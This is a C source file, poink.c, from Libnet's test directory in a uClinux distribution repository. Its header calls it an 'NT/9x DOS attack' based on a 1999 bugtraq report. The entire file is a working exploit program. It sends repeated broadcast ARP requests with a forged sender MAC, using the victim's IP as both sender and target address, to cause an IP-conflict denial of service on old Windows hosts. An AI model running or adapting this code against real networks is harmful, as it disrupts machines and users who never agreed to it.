OSDN Git Service

2013.10.24
[uclinux-h8/uClinux-dist.git] / lib / Libnet / test / Ethernet / poink.c
1 /*
2  *  $Id: poink.c,v 1.1.1.1 2000/05/25 00:28:49 route Exp $
3  *
4  *  poink.c - NT/9x DOS attack
5  *
6  *  Code:
7  *  Copyright (c) 1999, 2000 Mike D. Schiffman <mike@infonexus.com>
8  *  All rights reserved.
9  *
10  *  Original Idea:
11  *  Joel Jacobson (joel@mobila.cx)
12  *
13  *  This simple exploit was written as per the specification from Joel
14  *  Jacobson's bugtraq post (http://geek-girl.com/bugtraq/1999_1/1299.html).
15  *
16  *  Needs libnet 0.99.  http://www.packetfactory.net/
17  *
18  * Redistribution and use in source and binary forms, with or without
19  * modification, are permitted provided that the following conditions
20  * are met:
21  * 1. Redistributions of source code must retain the above copyright
22  *    notice, this list of conditions and the following disclaimer.
23  * 2. Redistributions in binary form must reproduce the above copyright
24  *    notice, this list of conditions and the following disclaimer in the
25  *    documentation and/or other materials provided with the distribution.
26  *
27  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
28  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
29  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
30  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
31  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
32  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
33  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
34  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
35  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
36  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
37  * SUCH DAMAGE.
38  *
39  */
40
41 #if (HAVE_CONFIG_H)
42 #include "../../include/config.h"
43 #endif
44 #include "../libnet_test.h"
45
46 u_char e_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00};
47 u_char e_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
48
49 int poink_send_arp(struct libnet_link_int *, u_long, u_char *);
50 void usage(u_char *);
51
52 int
53 main(int argc, char *argv[])
54 {
55     int c, amount;
56     char errbuf[256];
57     char *device = NULL;
58     struct libnet_link_int *l;
59     u_long ip;
60
61     amount = 20;
62     while ((c = getopt(argc, argv, "n:i:")) != EOF)
63     {
64         switch (c)
65         {
66             case 'i':
67                 device = optarg;
68                 break;
69             case 'n':
70                 amount = atoi(optarg);
71                 break;
72             default:
73                 exit(EXIT_FAILURE);
74         }
75     }
76
77     if (!device)
78     {
79         usage(argv[0]);
80         exit(EXIT_FAILURE);
81     }
82
83     if (argc <= optind)
84     {
85         usage(argv[0]);
86         exit(EXIT_FAILURE);
87     }
88     else if ((ip = libnet_name_resolve(argv[optind], 1)) == -1)
89     {
90         fprintf(stderr, "Cannot resolve IP address\n");
91         exit(EXIT_FAILURE);
92     }
93
94     l = libnet_open_link_interface(device, errbuf);
95     if (!l)
96     {
97         fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
98         exit(EXIT_FAILURE);
99     }
100
101     while (amount--)
102     {
103         c = poink_send_arp(l, ip, device);
104         if (c == -1)
105         {
106             /* bail on the first error */
107             break;
108         }
109     }
110     printf("\n");
111     return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
112 }
113
114
115 int
116 poink_send_arp(struct libnet_link_int *l, u_long ip, u_char *device)
117 {
118     int n;
119     u_char *buf;
120
121     if (libnet_init_packet(LIBNET_ARP_H + LIBNET_ETH_H, &buf) == -1)
122     {
123         perror("libnet_init_packet memory:");
124         exit(EXIT_FAILURE);
125     }
126
127     /*
128      *  Ethernet header
129      */
130     libnet_build_ethernet(e_dst, e_src, ETHERTYPE_ARP, NULL, 0, buf);
131
132     /*
133      *  ARP header
134      */
135     libnet_build_arp(ARPHRD_ETHER,
136         ETHERTYPE_IP,
137         6,
138         4,
139         ARPOP_REQUEST,
140         e_src,
141         (u_char *)&ip,
142         e_dst,
143         (u_char *)&ip,
144         NULL,
145         0,
146         buf + LIBNET_ETH_H);
147
148     n = libnet_write_link_layer(l, device, buf, LIBNET_ARP_H + LIBNET_ETH_H);
149
150     fprintf(stderr, ".");
151
152     libnet_destroy_packet(&buf);
153     return (n);
154 }
155
156
157 void
158 usage(u_char *name)
159 {
160     fprintf(stderr, "%s -i interface [-n amount] ip\n", name);
161 }
162
163 /* EOF */